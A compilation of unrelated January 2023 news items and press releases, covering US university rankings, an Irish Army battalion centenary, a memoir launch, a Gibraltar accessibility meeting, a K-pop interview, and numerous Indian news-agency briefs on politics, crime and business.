Among universities in Georgia, Kennesaw State had the highest ranked graduate degree programs in computer information technology and engineering. Other programs from Kennesaw State, including nursing, business administration, and education, were also ranked.

The Master of Science in Information Technology (MSIT) program in KSUs College of Computing and Software Engineering climbed to the No. 25 spot in the overall rankings nationally and was the top institution in Georgia. Also, this degree program earned a top 12 ranking in the national rankings for veterans programs, the only one in Georgia to be recognized.

In engineering, Kennesaw States Southern Polytechnic College of Engineering and Engineering Technology earned a top 100 place in the rankings at No. 82 nationally while also earning the designation of being the highest ranked Georgia institution for online graduate programs.

Kennesaw States online MBA program for veterans ranked 68th and ranked 102 nationally in the overall rankings. The online masters degree programs in the Bagwell College of Education landed 89th overall while the graduate nursing programs in the Wellstar College of Health and Human Services ranked No. 124 nationally.

The University offers 25 fully online masters degree programs, 17 bachelors degree programs, three specialist degree programs, and three doctoral degree programs.

The U.S. News rankings evaluate degree-granting online programs at regionally accredited institutions that are offered 100 percent online. Now in its 12th year, the 2023 rankings assessed more than 1,700 online degree programs at colleges and universities throughout the nation.

For more information about the U.S. News & World Report rankings, visit www.usnews.com/online.

Related Stories

A leader in innovative teaching and learning, Kennesaw State University offers undergraduate, graduate and doctoral degrees to its more than 43,000 students. Kennesaw State is a member of the University System of Georgia with 11 academic colleges. The universitys vibrant campus culture, diverse population, strong global ties and entrepreneurial spirit draw students from throughout the country and the world. Kennesaw State is a Carnegie-designated doctoral research institution (R2), placing it among an elite group of only 7 percent of U.S. colleges and universities with an R1 or R2 status. For more information, visit kennesaw.edu.
On Friday (January 27), the 3rd Infantry Battalion will celebrate the centenary of its formation and 25 years at its home base in Stephens Barracks in Kilkenny.

One of the armys largest units and indeed one of the largest employers in Kilkenny and the surrounding counties, the Battalion has a strength of almost 450 personnel.

The 3 Infantry Battalion is the oldest Army unit of the Irish Defence Forces and traces its foundation back to January 1923. It played a critical role in national defence preparations during the Second World War period and during the Troubles. Almost one hundred of the Battalions soldiers returned home only recently from Syria and the unit has served on many UN-mandated missions overseas since 1960, including in the Congo, Mali, Chad, Lebanon, Liberia and Kosovo.

The 3rd Infantry Battalion are also the lead unit deploying to the UNIFIL mission in Lebanon in November 2023. Locals will have seen the exceptional work carried out by the Battalion during the recent pandemic at vaccination centres, testing sites and in manning contact tracing call centres. Its soldiers  including many sporting legends such as Kieran Brennan, Paul Murphy and Stacey Keogh, have been at the heart of communities in the southeast for many years.

The Battalion, initially formed in January 1923 in Drumboe, Co. Donegal was born amidst the chaos and tragedy of the Civil War. Moving to its longstanding home at the Curragh Camp in 1927, the Battalion  known affectionately as The Bloods - has had a long-standing relationship with Kilkenny and the southeast since its deployment there throughout the Second World War/Emergency period.

In 1971 the Battalion moved A Company from the Curragh Camp to James Stephens Barracks, followed by the entire Unit moving in 1998 and amalgamating with the 30th Infantry Battalion. The 3rd Infantry Battalion is the oldest unit in continuous existence not just in the army, but across the Air Corps and Navy also.

Although the centenary parade is not open to the general public, families of serving soldiers and veterans of the unit are invited to register for the event. The ceremony will include live music from the Band of 1 Brigade under the baton of Captain Fergal Carroll. Veteran pipers of the 3rd Infantry Battalion will be performing on the day also, including a special rendition of the Battalions marching tune, The Dawning of The Day on the barrack square.

Dignitaries including local T.Ds, the Mayor of Kilkenny, the Dean of St Canices Cathedral, the Battalions Chaplain and the General Officer Commanding 1 Brigade will also be present. The celebration will see four Companies from the 3rd Infantry Battalion on parade as well as a representative body from our sister Unit in the Curragh, one mechanised Infantry (1MIC) whose origins lie with B Company, 3rd Battalion. The soldiers of 1 MIC will provide armoured Vehicles on display, joined by the iconic Sliabh na mBan 1922 Rolls Royce armoured Car which is just about the same age as the Battalion. The parade will include the traditional blessing and presentation of new unit colours to commemorate the Centenary of the unit.

The event will be followed by the opening of the refurbished Veterans Centre and a new Museum exhibition and oral history collection entitled Bloods 100.

The Officer Commanding 3rd Inf Bn, Lt Col Gareth Prendergast, originally from Westmeath, is an adopted local man (Johnswell) and the Battalion Sergeant Major, BSM John Kelleher is a Corkman.

The Battalions Motto is Dilis go Brath (loyal forever).
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From Rodeo Dreams to Preacher Cowboy

Monty Rieck authors I Am Eli, recounting his wild ride to redemption story

NEWS PROVIDED BY

Cowboy Preacher Publishing

Jan. 23, 2023

SANTA BARBARA, Calif., Jan. 23, 2023 /Standard Newswire/ -- A wild ride to redemption autobiography describes how Santa Barbara-based author and minister, Monty Riecks life transformed after chasing all the world has to offer as a rodeo cowboy growing up in Lompoc, California. The book, I Am Eli, is the first of three planned for The Cowboy Preacher Series, publishing Wednesday, January 25 on Amazon and other retail outlets including iBooks and Barnes & Noble.

In I Am Eli, Rieck offers colorful descriptions from living on a ranch, learning to rope steers and ride bulls. With dreams of becoming a professional rodeo, Rieck would also learn a lot of hard lessons about life, love, and death. He writes about falling into addiction, looking for love, making money and the fallout after his father, William Rieck, the 1968 Super Stock Car Drag Racing World Champion, passed away. Little did Rieck know, but he was the one being chased  by God  which changed everything including a new identity.

I lived the hard life and paid for it, Rieck said. With 12 surgeries to repair my body, I decided to use the time in recovery to recount many of the incredible turning points in my life. In I Am Eli, the reader will get a glimpse of my early years and hard living along with how I found the ultimate love of God. Its quite a journey with lots of bumps, bruises and brokenness that I think people will relate to.

Rieck is also planning a LIVE event on Facebook Wednesday, January 25 at 6:30pmPT, giving people a chance to interact with him, and hear bonus behind-the-scenes material.

A retired, fourth-generation plumber, Rieck resides in Santa Barbara with his wife Heidi, where he attends Calvary Chapel Santa Barbara, volunteers in his homeowners association and is teaching himself to play the fiddle. Between him and his wife, they have eight children and twelve cherished grandchildren. Subscribe to Montys news at cowboypreacher.us.

SOURCE Cowboy Preacher Publishing

CONTACT: Monty Rieck, 805-705-5699
UW and Wyoming SBDC Network to Host Workshop in Casper Jan. 31

For anyone contemplating starting a small business, the thought alone can be daunting. However, advice and assistance are available.

Steen Stovall and Cindy Unger will discuss the basics of starting a business during a Wyoming Small Business Development Center (SBDC) Network workshop titled Start Your Own Business Tuesday, Jan. 31, from 6-8 p.m. at the Natrona County Library, located at 307 E. Second St. in Casper. The presentation, which will take place in the Crawford Room, is in partnership with the U.S. Small Business Administration (SBA). To register, go here. Registration is free.

The workshop will help potential new business owners explore the pros and cons of owning a business and understand the skills and knowledge necessary to succeed. Stovall and Unger will discuss ways to investigate the potential of business ideas and how small-business owners can identify their target markets. Business owners also will learn about financing options and legal, tax and insurance issues they may encounter.

Stovall is the Wyoming SBDC Network regional director for Converse, Natrona, Niobrara and Platte counties. He has been involved in the small business and workforce development sectors for more than 25 years. A business veteran, he has co-founded companies in the oil, gas, retail and construction industries. He also has extensive instructional experience.

Unger, business adviser for the Wyoming SBDC Network, has advised entrepreneurs in industries -- from hospitality to engineering to quilting -- during her more than 23 years with the Wyoming SBDC Network. Her specialty is helping clients create bankable business and marketing plans. Additionally, Unger has degrees in marketing and anthropology, and she is a small-business owner herself.

For more information, call Maureen Johnson, marketing, communication and database manager for the Wyoming SBDC Network, at (307) 343-0925 or email mjohn125@uwyo.edu.

The Wyoming SBDC Network offers business expertise to help Wyoming residents think about, launch, grow, reinvent or exit their business. The Wyoming SBDC Network is hosted by the University of Wyoming with state funds from the Wyoming Business Council and funded, in part, through a cooperative agreement with the U.S. SBA.
Beyonce took to the stage for the opening of the Atlantis resort in Dubai over the weekend and was joined on stage by daughter, Blue Ivy Carter.
Firefighters came to the rescue when a little pup got stuck in a sewer pipe in North Portland on Sunday.
Attorney General Andrew Bailey answers questions from the press after his swearing-in ceremony on Tuesday, at the Missouri Supreme Court building in Jefferson City. Im focusing on getting crime off of the streets, he said in response to questions about his goals while in office.
Minister Sacramento meets with Gibraltar Chamber of Commerce and Gibraltar Federation of Small Businesses

The Minister for Equality, the Hon. Samantha Sacramento MP, met with representatives from the Gibraltar Chamber of Commerce and the Gibraltar Federation of Small Businesses to discuss the soon to be enacted Sections 13 and 14 of the Disability Act (2017), how this would affect business owners in Gibraltar and explain the support offered by Government to businesses to give this effect.

At the meeting the Minister explained these Sections had not been enacted when the Disability Act was first passed into law in 2017 in order to give plenty of opportunity to business owners to prepare their businesses for the changes and after consultation with the Disability Society at the time. Under sections 13 and 14, the owners of any buildings or premises open to the general public has the responsibility to make this more inclusive. It also states that failure to do so could incur penalties.

In order to fully support businesses, the Ministry of Equality said it wants to work with businesses and to provide support and assistance in order to prepare them for the changes.

The Ministry is also reminding businesses of the tax incentives offered for undertaking works that make their premises more accessible and to date no business have taken up this offer.

Government published the Disabled Access to Property (Deduction) Rules 2020, which took effect as from July 2019. This allows businesses to claim deductions on structural works done to improve access to and within their premises and thus make it easier for people with disabilities to access these. This deduction will be in addition to any other deduction, relief or allowance which may be given in accordance with provisions in the Income Tax Act 2010. In order to claim a deduction under this rule, applicants would need to apply for a certificate from Town Planning and Building Control and provide proof of works done and costs.

As part of its Equality Means Business Agenda, the Ministry of Equality have arranged with the Gibraltar Chamber of Commerce and the Gibraltar Federation of Small Businesses to deliver an information seminar for members in order to help them understand their obligations under the Disability Act. This presentation will also include the participation of a qualified Access Auditor who the Ministry of Equality have brought in on a number of occasions and who will be already in Gibraltar to issue training to Town Planning and Building Control. The presentation will be held on Friday 27th January at the John Mackintosh Hall at 10:00am. Business owners are encouraged to attend and will also be given the opportunity to ask questions at the end. Any business owners interested in attending the presentation should register their interest with the Ministry of Equality, as soon as possible, by emailing This email address is being protected from spambots. You need JavaScript enabled to view it.

More information on how to make businesses accessible can be found on the Ministry of Equality website: www.gibraltar.gov.gi/department-equality. Information booklets such as Welcoming Customers with Disabilities and Gibraltar Building Rules Approved Document R  Access to and use of Buildings are available on the website and provide guidance.

The Minister for Equality, the Hon. Samantha Sacramento MP, said, I was very pleased to meet with the Chamber and the GFSB yesterday and welcome, as ever, their positive engagement on the subject. It was very encouraging to hear that they were both very much on-board with the changes and they also accepted that by making business premises more inclusive, ultimately made business sense as more people could access the business. This not only applies to people with disabilities, but also their families accompanying them too.

The Governments continued aim is to make Gibraltar as accessible as reasonably possible and in the long term this can only be beneficial to Gibraltar. This would also make Gibraltar, as a tourist destination more appealing to people who have disabilities. It is all about inclusivity, changing the way we treat customers who have difficulties accessing services and also offering the service in different ways in order to meet the needs of said customers.

Anyone wishing to learn more about the Disability Act 2017 can find this on the following link www.gibraltarlaws.gov.gi/legislations/disability-act-2017-4312
TXT was interviewed for a pictorial in Esquire Korea, where they also shared exciting details about their upcoming releases, goals, idol life and more!

Read more to know about what TXT is up to!

TXT Beomgyu Discusses Group Chemistry, Love For KARA

On January 23, Esquire Korea released two parts of their interview. In the first part, the group was interviewed regarding their future music releases, which gathered the members' thoughts individually.

The interviewer mentioned member Beomgyu's talent in variety shows, leading the idol to express his interest on "2 Days 1 Night."

Beomgyu also added that he was drawn to it, due to the cast's interaction and unbreakable harmony. He also related that aspect on TXT as a group, pertaining to their group chemistry.

Amazed by TXT's chemistry, the interviewer then asked Beomgyu how they came up with such natural understanding. Beomgyu shared that it wasn't like that from the start since they're all separate individuals with opinions. However, they came to know each other over time.

"Naturally, it wasn't the case from the start. They have a lot of opinions and strong personalities because they came here to become famous. So, at first, we didn't really get along." "We fought a lot, but over a lengthy period, we have gradually come to understand one another. That assisted our group in finally reaching a compromise. After all, you can get along even if you spend the next 365 days together in this manner."

Meanwhile, TXT leader Soobin shared his thoughts about KARA, leadership, and TXT's next big goal.

He explained that he admired KARA in an early age, and seeing their reunion at the MAMA performance made him emotional.

Soobin stated that he also admired BTS RM's depth in leadership, while assuring the interviewer that he's someone that members can rely on.

"I honestly don't believe I'm that ideal leader who is solid, determined, and has everything planned out in their head. I respect BTS's RM, since he really is like that. He has extraordinarily wide-ranging opinions. He is firmly committed to his unique preferences and course of action. "I don't think I'll develop into that kind of leader. Instead, I can assure everyone that I'm a comfortable person. I at least believe that I'm someone my members can open to."

Daesang Winners: TXT Soobin Shares Group's Next Goal

Regarding TXT's next goal as a group, Soobin humbly imparted that their next aim is to receive a Daesang. Soobin also expressed TXT's hard work, and how the members' ambitions grew over time.

"I know this can come off as too ambitious, but winning a Daesang is our next goal. Honestly if I was asked, I'd answer 'good health' or 'contentment' right away, but I've been seeing my members work so hard." "Last year, their ambitions developed with motivation. From there, we assured 'Hey, let's win a Daesang this time, and become idols who can follow BTS.'"

TXT Huening Kai Teases Upcoming Album 'The Name: TEMPTATION'

Huening Kai teased their upcoming comeback, stating that the content will contain strong fairytale vibes. He also detailed the trailer's narration, exploring themes of Peter Pan.

"This entire album, which features concept films, teasers, and trailers, has a strong fairytale vibe. Wendy, the fairy from Peter Pan, provides the narration in the trailer. If the last series focused on the development and suffering of a boy, this one is about a boy who doesn't want to grow up to be an adult."

Furthermore, Huening Kai shared about how much he has changed since his trainee days. He expressed that he's grown in height, and his eagerness on performing has grown.

Huening Kai also elaborated how happy he is seeing his younger sister Huening Bahiyyih, who is a member of Kep1er. The idol also added he always cheers her on.

Aside from their group music, TXT Taehyun revealed that his 2023 goal is to make his own music.

Taehyun elaborated there are certain styles that aren't expressed in their production.

Moreover, he stated that finding a way to maintain his own music color while syncing it with the group is an essential part of expression.

"I want to present my music to fans, since I've made a good deal of music. There are times where my thirst for music wasn't quenched during music production." "I'm working to find a way to exhibit my voice without detracting from TXT's image because, of course, rashly showcasing a genre or concept that matches too well with our team color would be unacceptable."

TXT Yeonjun was interviewed regarding his nickname, "BIGHIT's Legendary Trainee."

The idol revealed that while it may feel good, that wasn't the case sometimes, since it put a lot of pressure on him as a trainee. However, the nickname also motivated him to do what he loves whole-heartedly.

Yeonjun also revealed on his interest in acting, but chose to currently focus on music.

"I was interested in acting. I even tried cameos for that reason, but acting is challenging. So, I made the decision that it will be wiser to put more effort into my primary work, before considering acting. Honestly, performing and music are my main jobs in my areas of interest."

Are you looking forward to more of TXT's activities? Who's your bias in the group? Tell us in the comments below!

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New Delhi [India], January 24 (ANI/NewsVoir): APL Apollo Tubes Limited (APL Apollo), one of the leading branded steel tubes manufacturers, has launched Ready Box Sections to accelerate the construction process. These high-quality structural steel tubes are pre-fabricated, precisely engineered and cut to length, hence there is little or no on-site fabrication required which saves a lot of time.

APL Apollo is the first ever company in India to produce ready square box sections of size 500x500mm and 20mm thickness to make tubular construction faster, better and more efficient than ever. Meanwhile, APL Apollo has also announced that it's coming up with the biggest-ever facility in Raipur-Chhattisgarh to fulfil the expected high demand for these Ready Box Sections.

Also Read | Govt Has Called an All-party Meeting on 30th January Ahead of the Budget Session of   Latest Tweet by ANI.

Earlier, the sections of such a large diameter were made manually and heavy plates were transported, stored, cut and then welded from all four sides. All these complicated processes are used to result in increasing the overall time and cost of the project. APL Apollo has transformed the overall scenario with the launch of these Ready Box Sections, made by using cutting-edge technology with no compromise in quality.

Announcing the launch of "Ready Box Sections", Sanjay Gupta, CMD, APL Apollo said, "We are delighted to launch Ready Box Tubes that ensure faster construction and the overall reduction in project cost. A lower lead time of our technology to produce a large quantity of Ready Box Sections in a day exactly in cut-to-length sizes equally ensures no delays in project deadlines apart from creating more carpet area."

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Thanks to the Ready Box Sections by APL Apollo, high-rise buildings and mega factory and warehouses can now be constructed faster than ever. The lower project timelines reduces the overall costs. Also in terms structural design, these Ready Box Sections offers smooth edges and better aesthetics. Moreover, they do not require encasing or shuttering and simply the concrete can be filled inside the tube.

India is one of the fastest-growing economies in the world and construction sector contributes significantly to it. In this steadfast development, a lot of new technologies, products and concepts have been discovered and developed by the industry. Among these, Tubular Construction is one of the latest and rapidly growing technologies in which APL Apollo has already taken a big leap forward.

Available in a wide range of choices APL Apollo Ready Box Sections are offered at a competitive price.

For more information, please visit www.aplapollo.com.

This story has been provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (ANI/NewsVoir)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Noida (Uttar Pradesh) [India], January 24 (ANI) Info Edge has said its wholly-owned subsidiary, Startup Investments (Holding) (SIHL), acquired an agritech firm Agstack Technologies (Gramophone) for a cash consideration of Rs 9.31 crore.

According to a statement shared on Monday with exchanges, Gramophone is a full-stack agritech platform for farmers. The company sells agri-inputs to farmers directly and via small retailers in an omnichannel model. It also provides advisory to farmers with respect to cropping or farming practices and helps them in selling their output to buyers.

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According to Info Edge statement, this follow-on investment by the company through SIHL is in furtherance of company's investment strategy, which includes making external financial investments that are focused on value creation in the medium- to long-term.

Gramophone was incorporated on May 23, 2016, and is engaged in the business of retail of agricultural input, procurement of agricultural output and creation and maintenance of an advisory platform for farmers, the company statement showed.

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The agriech is a full-stack intelligent farming platform that guides farmers throughout the crop cycle - offering crop input, intelligent selection, access to scientific agronomy advice, including cropping practices, and output market linkages. It has partnered with firms like Coromandel, Bayer, Dhanuka, PI Industries, and Tata Rallis to provide quality seeds and agrochemicals to maximise crop yield.

The agritech startup currently operates in five states -- Uttar Pradesh, Madhya Pradesh, Chhattisgarh, Rajasthan and Maharashtra. (ANI)

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Chandigarh [India], January 24 (ANI): The police on Tuesday said it recovered a carry bag containing a tiffin box and bottle from the Chandigarh court complex after receiving an anonymous phone call threatening a bomb blast.

Briefing the press on the recovery at the court complex, Chandigarh SSP Manisha Chowdhary said, "We have searched the area thoroughly and found a carry bag containing a bottle and a tiffin box."

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"The entire complex was evacuated and all nearby public places, especially parking lots and canteens, are being closely examined," she added.

SSP informed further that a team of Army personnel was due to arrive at the spot and will examine the recovered items.

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"Teams from the Bomb squads in Haryana and Punjab, as well as Bomb Spider, Haryana have already reached the spot already. Army personnel from the Chandimandir cantonment will also be here shortly. We are not sure if the recovered items are part of an explosive device. The same could be ascertained only after the Army personnel and bomb experts inspect the items," she said.

She added that efforts are underway to trace the source of the anonymous call.

"We received a call that the an explosive device had been planted at the Chandigarh Court and it will be blown up at 1 pm. We are trying to find out where the call came from. We did not receive any threat letter but Harayana Police may have got one," she said.

SSP Chowdhary further informed that Punjab, Haryana and Chandigarh, whuch is the common capital of both the states, are on red alert ahead of the Republic Day and routine searches are underway at checkpoints. (ANI)

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Raipur (Chhattisgarh) [India], January 24 (ANI): A petition has been filed in the High Court against Chhattisgarh Governor Anusuiya Uikey for stalling Reservation Bill in the state and seeking a direction to her to take a decision at the earliest.

Advocate Himang Saluja has filed a petition against Uikey calling her decision a "violation of the constitution" which is creating an "uncertainty" in the state over the rule.

Also Read | West Bengal Shocker: Man Killed for Protesting Against His Minor Daughter's Molestation in Howrah.

In the petition filed in the High Court, it has been said that the governor didn't sign the bill even after the Assembly passed the Reservation Bill.

"On January 18, 2012, the state government had increased the percentage of reservations to 12 per cent for the SC category, 32 per cent for the ST category, and 14 per cent for the OBC category, which the Chhattisgarh High Court, while hearing various petitions, dismissed as unconstitutional. After this, the Chhattisgarh government increased the percentage of reservations in the state to 76 per cent on the basis of population and other grounds. A 4 per cent reservation given for economically weaker sections is also included. According to the rules, after the reservation bill was passed by the assembly, it went to the governor for signature, but the governor did not sign it," the petition said.

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The petition also mentioned the governor's statement in Rajarao Pathar village wherein she said, "I had only asked the state government to call a special session of the assembly to increase reservation for the tribals and the government did it for everyone."

The petition also claimed that the government completed Uikey's conditions of answering her questions.

"Through several newspapers, information about the statements of the Governor was received that I have asked ten questions to the government on the reservation bill. If I get their answers, then I will sign the reservation bill. Now the government has given its answer as well. Still, the governor has kept the reservation bill," it added.

Petition, while accusing ikey of working as a "member of a certain party" not as a Governor of the state, said, "She is not in the role of the Governor but in the role of a member of a political party. Maybe that's why she is not signing the bill. Whereas according to the constitution, if the assembly passes the bill, then the governor has to give assent to it within the stipulated time. The governor can return the bill to the assembly for reconsideration only once. And if the assembly sends it again to the governor with or without any kind of amendment, then he/she has to give approval within the stipulated time. But the governor is violating the constitution. Because of this, there is no information about the status of reservations in the state."

The hearing of many petitions in the High Court has also come to a standstill because the percentage of reservations is not fixed in the state, it added. (ANI)

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New Delhi, Jan 24 (PTI) The traditional 'at home' function at the Raj Niwas ahead of Republic Day presented a scene of bonhomie on Tuesday as Lt Governor VK Saxena and Delhi Chief Minister Arvind Kejriwal warmly greeted each other, amid their ongoing power tussle.

Besides Kejriwal, senior JD(U) leader KC Tyagi, BJP MPs Manoj Tiwari, Parvesh Verma, Ramesh Bidhuri and Gautam Gambhir, and AAP MLA Somnath Bharti were also present.

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The function was hosted by the Lt governor and his wife Sangita Saxena.

Held after a gap of two years due to COVID-19-related restrictions, the 'at home' function saw guests from diverse and varied backgrounds, including freedom fighters, Padma awardees from Delhi, and students of government and private schools and colleges.

Also Read | Shraddha Walkar Murder Case: Outraged Aaftab Amin Poonawala Chopped Up Victim's Body To Hide His Crime, Say Delhi Police in Charge Sheet.

Families of martyrs of Delhi Police and Delhi Fire Service personnel, sportspersons, paralympians, Swachhagrahis, 'divyangjan', priests and religious heads, senior officers of the Delhi government and police also attended the function, said a statement from the LG office.

Officials working "dedicatedly" on key innovative developmental projects like cleaning of Najafgarh drain, landfill sites of the MCD and rejuvenation of the Yamuna floodplains, representatives of foreign missions, academicians, doctors, vice-chancellors, lawyers, members of civil society were also present, it added. PTI VIT

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Chhatarpur, January 24: Self-styled godman Dhirendra Shastri, also known as Bageshwar Dham Sarkar, has received death threats, informed police officials on Tuesday. Dhirendra Shastri received the threats over the phone. The accused is yet to be identified, they added.

"A case under section 506, 507 of the Indian Penal Code was registered against an unknown person in Chhatarpur's Bamitha police station," said Superintendent of Police (SP) Sachin Sharma. Dhirendra Shastri hit headlines after his controversial remark saying "support me and I will give you a Hindu nation". Self-Styled Godman Dhirendra Shastri Alias Bageshwar Dham Sarkar Says 'Support Me for A Hindu Nation'.

Shastri said that India is such a country where even poet Tulsidas who wrote the "Ramcharitmanas" had to face challenges, adding, "Any priest, cleric or person who challenges Sanatan Dharma will get the reply. But then I am saying, you support me, I will give the Hindu nation".

On January 20, a Maharashtra-based organisation challenged him to display his power by performing miracles at an event in Nagpur. Responding to the challenge, Shastri told ANI in Raipur, "Such people will keep coming. We do not operate within closed doors. They (people who have challenged him) should come and see for themselves. Anyone can challenge my words and actions on camera. Lakhs come and sit in the court of Bageshwar Balaji. Whatever inspires me, I will write and what I write, will turn out to be true. I have faith in my God."

On the chit in which he writes about what the future holds for his devotees, Shastri said, "I have acquired the skill by the grace of God, our Gurus and the power of the mantras of Sanatan Dharma." "Everyone should experience it. This is the proclamation of Satya Sanatan Dharma," he added.

On whether action should be taken against people tarnishing his image and questioning his powers, he said, "They have tarnished my image. The people of Bageshwar Dham will give them a fitting reply. Anyone speaking against Sanatan Dharma will be boycotted." Self-Styled Godman Dhirendra Shastri Alias Bageshwar Dham Sarkar Says 'Those Against Sanatan Dharma Will Be Boycotted'.

On alleged religious conversions, Shastri said, "We are making Hindus return to the religion they acquired at birth. Some people are creating a nuisance. They have to be taught a lesson. As long as I am alive, I will make all Sanatani Hindus return to their original faith."

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Mumbai (Maharashtra) [India], January 24 (ANI): Two out of four persons were detained by Police on Tuesday for looting Rs 25 lakh cash and gold worth Rs 1.70 crores from a businessman's office by impersonating as Enforcement Directorate (ED) officers in Mumbai's Zaveri Bazaar area.

According to the police, four miscreants disguised as ED officers raided the businessman's office and looted Rs 25 lakh cash and three kilograms gold worth Rs 1.70 crores on Monday.

Also Read | West Bengal Shocker: Man Killed for Protesting Against His Minor Daughter's Molestation in Howrah.

The fake ED officers also handcuffed an office employee, police said.

Police registered a case against the four accused under sections 394 (robbery), 506 (2) (Punishment for criminal intimidation) and 120 (B) (criminal conspiracy) of the Indian Penal Code (IPC).

Also Read | Gujarat Sadhu Dies by Suicide After Sex Chats, Objectionable Audio Clips, Photos and Videos Get Leaked.

Meanwhile, Mumbai police nabbed two persons from Mumbai's LT Marg on Tuesday morning. They are currently being interrogated, police said.

A search operation for the rest two accused is underway. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
By Payal Mehta

New Delhi [India], January 24 (ANI): The government has called an all-party meeting ahead of the Budget Session of Parliament which will begin on January 31.

Also Read | Mumbai Shocker: Fake ED Raid at Jewellery Shop in Zaveri Bazar; Gold and Cash Worth Rs 2 Crore Looted.

The customary meeting called by Parliamentary Affairs Minister Pralhad Joshi is scheduled to be held at noon on January 30 in Parliament Annexe Building.

During the meeting, the government will seek cooperation from all parties for smooth running of Parliament. Opposition parties are also expected to mention issues of concern to them that they intend to raise during the session.

Also Read | Bhagwant Mann Visits Bombay Stock Exchange, Showcases Punjab As Investment Destination (See Pics).

A meeting of NDA floor leaders will also be held on January 30 afternoon to strategise floor cooperation.

The Budget Session, which is heavy with government's financial agenda, will be held in two parts.

It will begin by President Droupadi Murmu's address to the joint sitting of the two Houses of Parliament. Economic Survey will be tabled after the President's address.

Finance Minister Nirmala Sitharaman will present the Union Budget on February 1. The Union Budget 2023-24 may be the last full budget before 2024 Lok Sabha elections.

The first part of the session will be held from January 31 and will go on till February 13. It will see debate in both Houses on the 'Motion of Thanks' to the President's address which will conclude with reply of Prime Minister Narendra Modi.

The Parliament will reconvene after a recess for parliamentary committees to discuss the demand for grants of various ministries. The second part will begin on March 13 and will continue till April 6.

The Money Bill is passed after discussion on the demand for grants and it marks the culmination of the budget process.

During the Monsoon Session, nine bills were passed by both Houses of Parliament. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Hyderabad, January 24: A students group at Hyderabad Central University (HCU) organised a BBC documentary screening on Prime Minister Narendra Modi inside the campus on Monday.

Student Islamic Organisation (SIO) & Muslim Student Federation known as the Fraternity group has organised a BBC documentary on Prime Minister Narendra Modi inside the Hyderabad Central University. More than 50 students from these groups attended the screening. BBC Documentary on PM Narendra Modi: JNU Asks Students to Cancel Screening of 'India: The Modi Question'.

ABVP student leader Mahesh said, "we have escalated the matter to University Authorities and demanded action on the organisers. The group has organised screening without permission inside the campus premises."

Police said, "we have received the information that some students organised screening inside the campus but haven't received any written complaint. If we receive a complaint investigation will be taken up."

Earlier last week, India denounced the controversial BBC documentary series on Prime Minister Narendra Modi, described as a 'propaganda piece' designed to push a discredited narrative.

"We think this is a propaganda piece designed to push a particular discredited narrative. The bias, lack of objectivity, and frankly continuing colonial mindset are blatantly visible," External Affairs Ministry spokesperson Arindam Bagchi said during a weekly media briefing. BBC Documentary on PM Narendra Modi: Government Blocks Multiple YouTube Videos, Tweets Sharing 'India: The Modi Question'.

The MEA spokesperson added that the documentary is a reflection of individuals that are peddling this narrative again. Meanwhile, in a strong response to the BBC documentary, more than 300 eminent Indians, including retired judges, bureaucrats, and armed forces veterans signed a statement slamming the British national broadcaster for showing "unrelenting prejudice" towards India and its leader.

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
New Delhi, January 24: India is celebrating its 74th independence on Thursday, January 26. Republic Day 2023 Parade Tickets: Know Where And How to Book Ticket For R-Day Event at Kartavya Path in Delhi.

At this Year's Republic Day Parade, Indian Army would showcase only Made in India Weapons systems, officials said. Republic Day 2023 FAQs: Who Will Be the Chief Guest? When Is Flag Hoisting? When Does R-Day Parade Start? Know Everything Here.

"The weapons to be displayed include the K-9 Vajra howitzers, MBT Arjun, Nag anti-tank guided missiles, BrahMos supersonic cruise missiles, Akash air defence missiles and the Quick Reaction Fighting Vehicles," a statement said.

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Kochi (Kerala) [India], January 24 (ANI): The Air Intelligence Unit (AIU) of the Customs department in Kerala seized gold from a passenger at the Kochi airport on Tuesday.

According ot customs officials, the seized gold is worth Rs 38 lakh in the bullion market.

Also Read | Narendra Modi Government to Hold Separate Consultation Next Month on PIB Fact Check, Says Union Minister Rajeev Chandrasekhar.

The AIU, in a statement, said it seized 833.40 grams of gold from the passenger.

Further, according to the official statement, the passenger arrived on a flight from Dubai and was intercepted at the green channel.

Also Read | Rahul Gandhi on Digvijaya Singhs Remarks on Surgical Strikes, Says Armed Forces Need Not Show Proof.

"During the examination of the said passenger, 3 nos of transparent latex capsule shaped packets containing thick brown coloured paste like material, suspected to be gold in compound form totally weighing 833.40 gram concealed in the rectum of the passenger were recovered and seized," the statement read.

Further investigations are underway. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
New Delhi [India], January 24 (ANI): Union minister Piyush Goyal on Monday said that large companies must take responsibility to handhold MSMEs, help them adopt best practices and integrate them into the supply chain ecosystem.

He was speaking at the fourth Plenary Session of the B20 India Inception Meeting on Building Resilient Global Value Chains in Gandhinagar, said a press release.

Also Read | Delhi Shocker: Four Held for Thrashing, Attempting To Kidnap Man in Wazirabad.

Goyal noted that MSMEs flourish around a larger unit or anchor. Citing an example, he said, as Apple's manufacturing plant comes up, thousands of MSME units flourish in the ecosystem as mini value chain suppliers to Apple. He also said that MSMEs have more practical solutions, and day-to-day experiences, and having learnt the hard way, are able to adapt to circumstances better than large companies, added the press release.

He said that large companies must be sensitized to handhold MSMEs associated with them, as per the statement.

Also Read | Congress Will Put All Its Might Behind Restoring Jammu and Kashmir's Statehood, Says Rahul Gandhi.

"We must also try to make it easier to operate for small companies, eliminate unnecessary paperwork, make custom processes simpler, and use technology to ease and simplify processes," he stated.

He pointed out that Singapore has been playing an important role as a trading hub and suggested that a study can be done to figure out what Singapore has been doing right and based on this a basic framework can be created for supporting MSMEs. It may involve Infrastructure development, addressing challenges of logistics, he added. He also said MSMEs bring trust to the table, which is the most important element of any value chain be it domestic or international.

On integrating India with Global value chains, Goyal said if we do not harmonize our value chains with the rest of the world, or if we don't create logistics which are easier and faster, it would be difficult for international companies to get India into its value chain.

